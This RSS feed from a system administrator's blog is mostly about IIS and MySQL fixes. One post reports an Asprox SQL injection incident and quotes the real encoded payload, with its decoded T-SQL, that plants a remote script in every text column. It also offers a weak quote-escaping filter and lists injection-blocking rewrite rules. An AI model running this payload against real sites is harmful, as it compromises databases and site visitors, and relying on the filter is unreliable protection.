<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>leinadium &#187; iis</title>
	<atom:link href="http://www.leinadium.com/tag/iis/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.leinadium.com</link>
	<description>Techhead. Codewarrior. Legalnerd.</description>
	<lastBuildDate>Fri, 02 Sep 2011 20:09:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>classic asp memory leaks in IIS</title>
		<link>http://www.leinadium.com/code/classic-asp-memory-leaks-in-iis/</link>
		<comments>http://www.leinadium.com/code/classic-asp-memory-leaks-in-iis/#comments</comments>
		<pubDate>Fri, 10 Apr 2009 19:55:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[memory leak]]></category>

		<guid isPermaLink="false">http://www.leinadium.com/?p=102</guid>
		<description><![CDATA[Here&#8217;s a nice link to tools that will help you figure out where the memory leak is happening: http://community.sgdotnet.org/blogs/darenhan/archive/2007/10/29/How-to-solve-memory-leak-in-IIS-w3p.exe.aspx Remember the following: 1. close your database recordsets 2. close your database connections 3. close any other objects you&#8217;ve created 4. in case you come across a response.redirect do all of the above before calling it. [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a nice link to tools that will help you figure out where the memory leak is happening:</p>
<p><a href="http://community.sgdotnet.org/blogs/darenhan/archive/2007/10/29/How-to-solve-memory-leak-in-IIS-w3p.exe.aspx">http://community.sgdotnet.org/blogs/darenhan/archive/2007/10/29/How-to-solve-memory-leak-in-IIS-w3p.exe.aspx</a></p>
<p>Remember the following:</p>
<p>1. close your database recordsets</p>
<p>2. close your database connections</p>
<p>3. close any other objects you&#8217;ve created</p>
<p>4. in case you come across a response.redirect do all of the above before calling it.</p>
<p>5. read 4.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/classic-asp-memory-leaks-in-iis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why custom errors were not firing in IIS6</title>
		<link>http://www.leinadium.com/code/why-custom-errors-were-not-firing-in-iis6/</link>
		<comments>http://www.leinadium.com/code/why-custom-errors-were-not-firing-in-iis6/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 16:28:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[custom errors]]></category>
		<category><![CDATA[iis]]></category>

		<guid isPermaLink="false">http://www.leinadium.com/?p=92</guid>
		<description><![CDATA[Strangely I noticed an error in one of our scripts by surfing onto the page and noticing that ugly vbscript error in script.asp line 151.. This was deeply troubling, as I was wondering how many errors went undetected by our custom error scripts. It turns out that this was the only page this happened on [...]]]></description>
			<content:encoded><![CDATA[<p>Strangely I noticed an error in one of our scripts by surfing onto the page and noticing that ugly vbscript error in script.asp line 151..<br />
This was deeply troubling, as I was wondering how many errors went undetected by our custom error scripts.<br />
It turns out that this was the only page this happened on because we had left some old REsponse.Flush commands in a particular function.<br />
Here&#8217;s the link that explains it <a href="http://forums.iis.net/p/993221/1313916.aspx">http://forums.iis.net/p/993221/1313916.aspx</a></p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=ce839e85-a26f-8d6e-80bf-077ea5b1c448" alt="" /></div>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/why-custom-errors-were-not-firing-in-iis6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iis using cifs share (unc) really slow! here&#8217;s the solution.</title>
		<link>http://www.leinadium.com/code/iis-using-cifs-share-unc-really-slow-heres-the-solution/</link>
		<comments>http://www.leinadium.com/code/iis-using-cifs-share-unc-really-slow-heres-the-solution/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:17:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[cifs]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[isapi rewrite]]></category>
		<category><![CDATA[share]]></category>
		<category><![CDATA[unc]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=38</guid>
		<description><![CDATA[I just spent the whole weekend waging war with my IIS box (2003 server). After switching the files from a local drive to a netapp share (cifs), the speed of my site slowed to a crawl. The pages would still appear &#8211; but the pace was incredibly slow. What&#8217;s more, the ISAPI REWRITE extension was [...]]]></description>
			<content:encoded><![CDATA[<p>I just spent the whole weekend waging war with my IIS box (2003 server). After switching the files from a local drive to a netapp share (cifs), the speed of my site slowed to a crawl.<br />
The pages would still appear &#8211; but the pace was incredibly slow.<br />
What&#8217;s more, the ISAPI REWRITE extension was no longer working, even though the httpd.ini file was in the web root &#8211; as it had been before, but for some reason the rewrite extension could not see the file.</p>
<p>So, I hoped that my usual strategy would yield the solution to the problem. The right combination of keywords usually finds a forum entry with the same problem and a corresponding solution. This time however, no such luck. A good hint did come from the helicon tech forum (the makers of ISAPI rewrite).</p>
<p>The solution was to change the application pool identity (user).<br />
The network service user &#8211; the default for an application pool &#8211; did not have proper access to the share (although it did have some access &#8211; probably after x timeouts). The new user (specifically created for the cifs share) solved the problem and IIS is humming again. I had to add some group memberships to this user to make it work.<br />
Hope this helps someone in the same situation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/iis-using-cifs-share-unc-really-slow-heres-the-solution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fast-flux botnet! Asprox! SQL Injection! oh no!</title>
		<link>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/</link>
		<comments>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:03:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=36</guid>
		<description><![CDATA[No, it&#8217;s not from &#8220;back to the future&#8221;. But it might make you rip your hair out and you&#8217;ll end up looking like the Doc. Here&#8217;s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122 and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html This morning I got a frantic call from headoffice [...]]]></description>
			<content:encoded><![CDATA[<p>No, it&#8217;s not from &#8220;back to the future&#8221;. But it might make you rip your hair out and you&#8217;ll end up looking like the Doc.</p>
<p>Here&#8217;s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122<br />
and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html</p>
<p>This morning I got a frantic call from headoffice telling me that we&#8217;ve been hacked and that the database is filled with Javascript strings pointing to www.banner82.com/b.js. Both banner82.com and banner82.org are referenced in the scripts.</p>
<p>Here&#8217;s the querystring that was (and is still) being tried against all variables of our application:<br />
<code><br />
DECLARE%20@S%20 VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832 3535292C40432056415243484152283235352920444 5434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D6 52C622E6E616D652046524F4D207379736F626A6563 747320612C737973636F6C756D6E732062205748455 24520612E69643D622E696420414E4420612E787479 70653D27752720414E442028622E78747970653D393 9204F5220622E78747970653D3335204F5220622E78 747970653D323331204F5220622E78747970653D313 63729204F50454E205461626C655F437572736F7220 4645544348204E4558542046524F4D205461626C655 F437572736F7220494E544F2040542C404320574849 4C4528404046455443485F5354415455533D3029204 24547494E20455845432827555044415445205B272B4 0542B275D20534554205B272B40432B275D3D525452 494D28434F4E5645525428564152434841522834303 030292C5B272B40432B275D29292B27273C736372697 074207372633D687474703A2F2F7777772E62616E6E 657238322E636F6D2F622E6A733E3C2F736372697074 3E27272729204645544348204E4558542046524F4D205461626C<br />
655F437572736F7220494E544F2040542C404320454E 4420434C4F5345205461626C655F437572736F722044 45414C4C4F43415445205461626C655F437572736F722</code></p>
<p><code>0%20AS%20VARCHAR(4000));EXEC(@S);--<br />
</code><br />
which translates to the following sql statements:<br />
<code><br />
DECLARE<br />
@T VARCHAR(255),<br />
@C VARCHAR(255)<br />
DECLARE<br />
Table_Cursor<br />
CURSOR FOR<br />
SELECT<br />
a.name,b.name<br />
FROM<br />
sysobjects a,syscolumns b<br />
WHERE<br />
a.id=b.id AND<br />
a.xtype='u' AND<br />
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)<br />
OPEN<br />
Table_Cursor<br />
FETCH NEXT FROM<br />
Table_Cursor<br />
INTO @T,@C<br />
WHILE(@@FETCH_STATUS=0)<br />
BEGIN<br />
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')<br />
FETCH NEXT FROM Table_Cursor<br />
INTO @T,@C<br />
END<br />
CLOSE Table_Cursor<br />
DEALLOCATE Table_Cursor<br />
</code>(courtesy of http://pastebin.com/d73dda647)</p>
<p>So we got hit. Here&#8217;s what we did and what you can do to protect your servers.</p>
<p>Step 1. Take down the site.<br />
Step 2. Clean the database<br />
Step 3. Patch the .asp pages to look for possible injection attacks.<br />
Step 4. Bring the site back up and monitor it.</p>
<p>Here are some tips:<br />
1. Taking down the site is quickly done in IIS, but it&#8217;s worthwhile to redirect to a page that tells users that you&#8217;ll be back up shortly.<br />
2. To clean the database I used 2 stored procedures. The reason that there are 2 is that SQL Server 2000 needs some extra tweaking when it comes to ntext fields.<br />
2a. The first stored procedure was taken from this site: http://vyaskn.tripod.com/sql_server_search_and_replace.htm.<br />
I had to customize the stored prcedure a bit, but<span style="font-family: verdana; font-size: 85%;"><span style="font-family: verdana; font-size: 85%;"> Vyas has written a great stored procedure that gets us halfway there.2b. <span style="font-family: verdana; font-size: 85%;"><span style="font-family: verdana; font-size: 85%;">Now we just have ntext fields left that contain the javascript tags. Ntext fields are more difficult to work with, as you can&#8217;t use the replace function. Instead, we use the Updatetext function.<br />
To do this, I customized the stored procedure found on http://sqlserver2000.databases.aspfaq.com/how-do-i-handle-replace-within-an-ntext-column-in-sql-server.html<br />
at aspfaq.com<br />
This stored procedure will replace one string with another in ntext fields. Even though this wasn&#8217;t strictly necessary (as you can see above, the ntext fields were cut down to 4000 character fields in the attack), I decided to find out how to replace strings in ntext fields.3. Patching the pages: To do so, you can either parameterize all your query variables into stored procedures (or cmd objects), or you can write your own asp function to strip all inputs before they are sent to the database in dynamic queries.<br />
We chose to go the route of writing our own asp function.</p>
<p>You can use something as simple as:</p>
<p>FUNCTION ChkString(string)<br />
IF string = &#8220;&#8221; THEN<br />
string = &#8221; &#8221;<br />
END IF<br />
ChkString = Replace(string, &#8220;&#8216;&#8221;, &#8220;&#8221;&#8221;)<br />
END FUNCTION</p>
<p>which will only make sure that all apostrophes are escaped. To make a more advanced function, you can add the Server.HTMLEncode function, and any regular expressions or replacing functions to filter out any offending characters. Just search for XSS vulnerability to get more information on this.</p>
<p>Of importance here is to make sure that all numeric values that go to the database are first enclosed in the CLNG conversion function. This will throw an error anytime an input contains a non-numeric string instead of the number you&#8217;re expecting. You can use this error to monitor how attacks on your site are made by specifying a custom asp error page in IIS.</p>
<p>The custom error page can be called asperror.asp and contain the following:</p>
<p>sub geterror<br />
&#8216; gather details about the error from the ASPError object<br />
&#8216; get the last error that occurred!<br />
set objasperror = server.getlasterror<br />
&#8216; go through the properties and get whatever you need&#8230;<br />
With objasperror<br />
code = .aspcode<br />
num = .number<br />
src = .source<br />
cat = .category<br />
file = .file<br />
line = .line<br />
column = .column<br />
desc = .description<br />
adesc = .aspdescription<br />
end With</p>
<p>&#8216; free ASPError object<br />
set objasperror = nothing</p>
<p>&#8216;sendmail<br />
Sendmail &#8220;info@mail.com&#8221;, &#8220;info@mail.com&#8221; &#8220;asperror&#8221;, &#8220;Code: &#8221; &amp; code &amp; VbCrLf &amp; &#8220;Num: &#8221; &amp; num &amp; VbCrLf &amp; &#8220;src: &#8221; &amp; src &amp; vbCrLf &amp; &#8220;cat: &#8221; &amp; cat &amp; VbCrLf &amp; &#8220;File: &#8221; &amp; file &amp; VbCrLf &amp; &#8220;line: &#8221; &amp; line &amp; VbCrLf &amp; &#8220;Column: &#8221; &amp; column &amp; VbCrLf &amp; &#8220;Desc: &#8221; &amp; desc &amp; VbCRLf &amp; &#8220;ASPDesc: &#8221; &amp; adesc &amp; VbCrLf &amp; &#8220;QueryString:&#8221; &amp; Request.QueryString() &amp; VbCrLf &amp; Request.Form() &amp; VbCrLf &amp; &#8220;Referer: &#8221; &amp; Request.ServerVariables(&#8220;HTTP_Referer&#8221;) &amp; &#8221; &#8221; &amp; Request.ServerVariables(&#8220;REMOTE_ADDR&#8221;)</p>
<p>END SUB</p>
<p>This kind of function will keep you up-to-date on how and who is trying to attack your server.</p>
<p>4. Last but not least: Avoid this kind of attack all together. With an ISAPI component like ISAPI Rewrite by Helicon, you state something like:<br />
Rewriterule .*DECLAREs.* http://www.mysite.com/block.asp [I,R]<br />
which will make sure that all these attempts are redirected.</p>
<p></span></span></p>
<p></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/security/fast-flux-botnet-asprox-sql-injection-oh-no/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Isapi Rewrite is a great product!</title>
		<link>http://www.leinadium.com/code/isapi-rewrite-is-a-great-product/</link>
		<comments>http://www.leinadium.com/code/isapi-rewrite-is-a-great-product/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 11:02:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[isapi]]></category>
		<category><![CDATA[rewrite]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=34</guid>
		<description><![CDATA[After the sql injection attacks of the previous few days, it becomes clear that ISAPI Rewrite is a good tool to have around. Here&#8217;s a few rules that will help: RewriteRule .*DECLARE.* /security-violation.htm [I] RewriteRule .*NVARCHAR.* /security-violation.htm [I] RewriteRule .*INSERT .* /security-violation.htm [I] RewriteRule .*INSERT %20.* /security-violation.htm [I] RewriteRule .* xp_.* /security-violation.htm [I] RewriteRule .*%20xp_.* [...]]]></description>
			<content:encoded><![CDATA[<p>After the sql injection attacks of the previous few days, it becomes clear that ISAPI Rewrite is a good tool to have around.</p>
<p>Here&#8217;s a few rules that will help:<br />
RewriteRule .*DECLARE.* /security-violation.htm [I]<br />
RewriteRule .*NVARCHAR.* /security-violation.htm [I]<br />
RewriteRule .*INSERT .* /security-violation.htm [I]<br />
RewriteRule .*INSERT %20.* /security-violation.htm [I]<br />
RewriteRule .* xp_.* /security-violation.htm [I]<br />
RewriteRule .*%20xp_.* /security-violation.htm [I]<br />
RewriteRule .*%20@.* /security-violation.htm [I]<br />
RewriteRule .* @.* /security-violation.htm [I]<br />
RewriteRule .*@%20.* /security-violation.htm [I]<br />
RewriteRule .*@ .* /security-violation.htm [I]<br />
RewriteRule .*&#8217;;* /security-violation.htm [I]<br />
RewriteRule .*EXEC(@.* /security-violation.htm [I]<br />
RewriteRule .*sp_password.* /security-violation.htm [I]<br />
RewriteRule /security-violation.htm /security.asp [I,L]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/isapi-rewrite-is-a-great-product/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSL Troubles on ISS private key missing</title>
		<link>http://www.leinadium.com/code/ssl-troubles-on-iss-private-key-missing/</link>
		<comments>http://www.leinadium.com/code/ssl-troubles-on-iss-private-key-missing/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:48:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[ssl]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=13</guid>
		<description><![CDATA[this is an excellent post http://blogs.msdn.com/saurabh_singh/archive/2007/09/05/troubleshooting-ssl-related-issues-with-iis.aspx if you&#8217;ve ever deleted your pending request before receiving your SSL certificate. The command certutil -repairstore .. fixed it. Back in SSL heaven]]></description>
			<content:encoded><![CDATA[<p>this is an excellent post<br />
<a href="http://blogs.msdn.com/saurabh_singh/archive/2007/09/05/troubleshooting-ssl-related-issues-with-iis.aspx">http://blogs.msdn.com/saurabh_singh/archive/2007/09/05/troubleshooting-<strong style="color: black; background-color: #ffff66;">ssl</strong>-related-issues-with-iis.aspx</a><br />
if you&#8217;ve ever deleted your pending request before receiving your <strong style="color: black; background-color: #ffff66;">SSL</strong> certificate.<br />
The command certutil -repairstore .. fixed it.<br />
Back in <strong style="color: black; background-color: #ffff66;">SSL</strong> heaven <img src='http://www.leinadium.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/ssl-troubles-on-iss-private-key-missing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>perl installation</title>
		<link>http://www.leinadium.com/code/perl-installation/</link>
		<comments>http://www.leinadium.com/code/perl-installation/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:47:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[windows 2003]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=11</guid>
		<description><![CDATA[after a number of storable.dll errors (to fix, simply uninstall current version of perl, delete c:perl and then reinstall the latest version), I found http://beerpla.net/2008/04/30/how-to-install-the-latest-soaplite-using-perl-cpan/ to help me along with installing soap::lite.]]></description>
			<content:encoded><![CDATA[<h3 class="post-title entry-title"></h3>
<div class="post-body entry-content">after a number of storable.dll errors (to fix, simply uninstall current version of perl, delete c:perl and then reinstall the latest version), I found <a href="http://beerpla.net/2008/04/30/how-to-install-the-latest-soaplite-using-perl-cpan/">http://beerpla.net/2008/04/30/how-to-install-the-latest-soaplite-using-perl-cpan/</a> to help me along with installing soap::lite.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/perl-installation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sporadic mysql errors from asp</title>
		<link>http://www.leinadium.com/code/sporadic-mysql-errors-from-asp/</link>
		<comments>http://www.leinadium.com/code/sporadic-mysql-errors-from-asp/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:45:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[odbc]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=7</guid>
		<description><![CDATA[still, the connection.open errors have crept up each once in a while. Just implemented the &#8220;solution&#8221; to kill sleeping mysql processes that are older than x seconds. Here&#8217;s the source: http://www.primaryobjects.com/CMS/Article69.aspx Rewrote the little function in vbscript and just put it online. Let&#8217;s see what happens.]]></description>
			<content:encoded><![CDATA[<p>still, the connection.open errors have crept up each once in a while.<br />
Just implemented the &#8220;solution&#8221; to kill sleeping mysql processes that are older than x seconds.<br />
Here&#8217;s the source: http://www.primaryobjects.com/CMS/Article69.aspx<br />
Rewrote the little function in vbscript and just put it online.<br />
Let&#8217;s see what happens.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/sporadic-mysql-errors-from-asp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysql iis asp and the crazies</title>
		<link>http://www.leinadium.com/code/mysql-iis-asp-and-the-crazies/</link>
		<comments>http://www.leinadium.com/code/mysql-iis-asp-and-the-crazies/#comments</comments>
		<pubDate>Fri, 23 Jan 2009 10:42:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[asp]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[settings]]></category>

		<guid isPermaLink="false">http://217.11.59.22/leinadium/?p=3</guid>
		<description><![CDATA[It&#8217;s been a long time coming. Here are the error messages of the last two months on Windows IIS6 using ASP 3.0: The ominous asp error -2147467259: [MySQL][ODBC 3.51 Driver]Can&#8217;t create TCP/IP socket (10038) [MySQL][ODBC 5.1 Driver]Can&#8217;t create TCP/IP socket (10038) [MySQL][ODBC 3.51 Driver][mysqld-5.0.44-log]MySQL server has gone away Searching for this error on google and [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a long time coming.<br />
Here are the error messages of the last two months on Windows IIS6 using ASP 3.0:<br />
The ominous asp error -2147467259:<br />
[<strong style="color: black; background-color: #ffff66;">MySQL</strong>][ODBC 3.51 Driver]<strong style="color: black; background-color: #a0ffff;">Can&#8217;t</strong> <strong style="color: black; background-color: #99ff99;">create</strong> <strong style="color: black; background-color: #ff9999;">TCP/IP</strong> <strong style="color: black; background-color: #ff66ff;">socket</strong> (<strong style="color: white; background-color: #880000;">10038</strong>)<br />
[<strong style="color: black; background-color: #ffff66;">MySQL</strong>][ODBC 5.1 Driver]<strong style="color: black; background-color: #a0ffff;">Can&#8217;t</strong> <strong style="color: black; background-color: #99ff99;">create</strong> <strong style="color: black; background-color: #ff9999;">TCP/IP</strong> <strong style="color: black; background-color: #ff66ff;">socket</strong> (<strong style="color: white; background-color: #880000;">10038</strong>)<br />
[<strong style="color: black; background-color: #ffff66;">MySQL</strong>][ODBC 3.51 Driver][mysqld-5.0.44-log]<strong style="color: black; background-color: #ffff66;">MySQL</strong> server has gone away</p>
<p>Searching for this error on google and <strong style="color: black; background-color: #ffff66;">mysql</strong>.com would yield results that ranged from other helpless users asking the same question, to <strong style="color: black; background-color: #ffff66;">mysql</strong> admins posting that this is not actually a bug and there&#8217;s nothing they can do.</p>
<p>This error would occur sporadically, usually under heavy load and would return relentlessly. Nothing would help!<br />
We tried all the suggestions from various sources (too many to list now), including debugging iis, windows, cleaning up after all connections to the database, mdac updates, <strong style="color: black; background-color: #ff9999;">tcp/ip</strong> ephemeral port range of windows increase, tweaking the registry, etc&#8230;</p>
<p>Feeling there&#8217;s nothing we could do on the web server platform, we moved on to the db servers (<strong style="color: black; background-color: #ffff66;">mysql</strong> servers 5.x running on debian).<br />
Here we got errors like the following:</p>
<p>Aborted connection 887 to db: &#8216;abc&#8217; user:<br />
&#8216;abc&#8217; host: &#8217;123.456.789.123&#8242; (Got an error reading communication<br />
packets)</p>
<p>We tried all the fitting suggestion on<a href="http://dev.mysql.com/doc/refman/5.1/en/%20communication-errors.html"> http://dev.<strong style="color: black; background-color: #ffff66;">mysql</strong>.com/doc/refman/5.1/en/<br />
communication-errors.html</a> without a proper result.<br />
The error returned again and again.<br />
After tweaking several <strong style="color: black; background-color: #ffff66;">mysql</strong> config variables we finally came upon a little noticed post on:<br />
<a href="http://themattreid.com/wordpress/?p=15">http://themattreid.com/wordpress/?p=15</a></p>
<p>Thank you matt reid!<br />
Increasing the max_allowed_packet from 8MB to 64 MB did the trick.<br />
Time to celebrate.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.leinadium.com/code/mysql-iis-asp-and-the-crazies/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

